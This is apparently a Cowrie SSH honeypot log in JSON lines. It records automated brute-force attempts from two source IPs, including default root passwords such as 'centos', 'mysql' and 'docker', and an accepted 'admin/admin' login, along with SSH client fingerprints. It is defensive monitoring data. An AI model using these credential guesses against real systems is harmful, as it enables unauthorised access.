{"eventid":"cowrie.login.failed","username":"root","password":"centos","message":"login attempt [root/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:15.877690Z","src_ip":"183.80.167.41","session":"8c75b7bad973","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:17.138558Z","src_ip":"183.80.167.41","session":"8c75b7bad973","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.80.167.41","src_port":58462,"dst_ip":"159.203.135.109","dst_port":22,"session":"527fd5933893","protocol":"ssh","message":"New connection: 183.80.167.41:58462 (159.203.135.109:22) [session: 527fd5933893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:17.384754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:17.390821Z","src_ip":"183.80.167.41","session":"527fd5933893","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:17.643731Z","src_ip":"183.80.167.41","session":"527fd5933893","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:18.403080Z","src_ip":"183.80.167.41","session":"527fd5933893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:19.660897Z","src_ip":"183.80.167.41","session":"527fd5933893","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.80.167.41","src_port":58464,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c9f73869aa7","protocol":"ssh","message":"New connection: 183.80.167.41:58464 (159.203.135.109:22) [session: 1c9f73869aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:22.970388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:22.975392Z","src_ip":"183.80.167.41","session":"1c9f73869aa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:23.233138Z","src_ip":"183.80.167.41","session":"1c9f73869aa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nginx","message":"login attempt [root/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:24.003454Z","src_ip":"183.80.167.41","session":"1c9f73869aa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:25.260952Z","src_ip":"183.80.167.41","session":"1c9f73869aa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.80.167.41","src_port":49776,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfcf094e991d","protocol":"ssh","message":"New connection: 183.80.167.41:49776 (159.203.135.109:22) [session: dfcf094e991d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:25.513150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:25.518335Z","src_ip":"183.80.167.41","session":"dfcf094e991d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:25.794960Z","src_ip":"183.80.167.41","session":"dfcf094e991d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql","message":"login attempt [root/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:27.294178Z","src_ip":"183.80.167.41","session":"dfcf094e991d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:28.590613Z","src_ip":"183.80.167.41","session":"dfcf094e991d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.80.167.41","src_port":49790,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8c1b5666179","protocol":"ssh","message":"New connection: 183.80.167.41:49790 (159.203.135.109:22) [session: d8c1b5666179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:28.835853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:28.841215Z","src_ip":"183.80.167.41","session":"d8c1b5666179","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:29.117095Z","src_ip":"183.80.167.41","session":"d8c1b5666179","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apache","message":"login attempt [root/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:29.870492Z","src_ip":"183.80.167.41","session":"d8c1b5666179","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:31.139356Z","src_ip":"183.80.167.41","session":"d8c1b5666179","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.80.167.41","src_port":49794,"dst_ip":"159.203.135.109","dst_port":22,"session":"3053b9d31028","protocol":"ssh","message":"New connection: 183.80.167.41:49794 (159.203.135.109:22) [session: 3053b9d31028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:31.393452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:31.399718Z","src_ip":"183.80.167.41","session":"3053b9d31028","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:31.650124Z","src_ip":"183.80.167.41","session":"3053b9d31028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"docker","message":"login attempt [root/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:32.441306Z","src_ip":"183.80.167.41","session":"3053b9d31028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:33.696662Z","src_ip":"183.80.167.41","session":"3053b9d31028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.80.167.41","src_port":49810,"dst_ip":"159.203.135.109","dst_port":22,"session":"930edce3cf5d","protocol":"ssh","message":"New connection: 183.80.167.41:49810 (159.203.135.109:22) [session: 930edce3cf5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:33.936853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:33.942024Z","src_ip":"183.80.167.41","session":"930edce3cf5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:34.199605Z","src_ip":"183.80.167.41","session":"930edce3cf5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps","message":"login attempt [root/vps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:35.010642Z","src_ip":"183.80.167.41","session":"930edce3cf5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:36.282218Z","src_ip":"183.80.167.41","session":"930edce3cf5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.80.167.41","src_port":55234,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd2bb782afa1","protocol":"ssh","message":"New connection: 183.80.167.41:55234 (159.203.135.109:22) [session: bd2bb782afa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:36.543255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:36.549108Z","src_ip":"183.80.167.41","session":"bd2bb782afa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:36.800796Z","src_ip":"183.80.167.41","session":"bd2bb782afa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.132.179","src_port":31644,"dst_ip":"159.203.135.109","dst_port":22,"session":"25c9d6abec5e","protocol":"ssh","message":"New connection: 34.78.132.179:31644 (159.203.135.109:22) [session: 25c9d6abec5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:37.495820Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"host","message":"login attempt [root/host] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:37.559233Z","src_ip":"183.80.167.41","session":"bd2bb782afa1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:37.578357Z","src_ip":"34.78.132.179","session":"25c9d6abec5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.132.179","src_port":31650,"dst_ip":"159.203.135.109","dst_port":22,"session":"8515c52a2bd5","protocol":"ssh","message":"New connection: 34.78.132.179:31650 (159.203.135.109:22) [session: 8515c52a2bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:37.733418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:37.741272Z","src_ip":"34.78.132.179","session":"8515c52a2bd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:37.824598Z","src_ip":"34.78.132.179","session":"8515c52a2bd5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:39.049530Z","src_ip":"34.78.132.179","session":"8515c52a2bd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:39.066335Z","src_ip":"183.80.167.41","session":"bd2bb782afa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:39.131055Z","src_ip":"34.78.132.179","session":"8515c52a2bd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:39.135516Z","src_ip":"34.78.132.179","session":"25c9d6abec5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.80.167.41","src_port":55238,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ed39722c359","protocol":"ssh","message":"New connection: 183.80.167.41:55238 (159.203.135.109:22) [session: 5ed39722c359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:39.318065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:39.323233Z","src_ip":"183.80.167.41","session":"5ed39722c359","protocol":"ssh"}
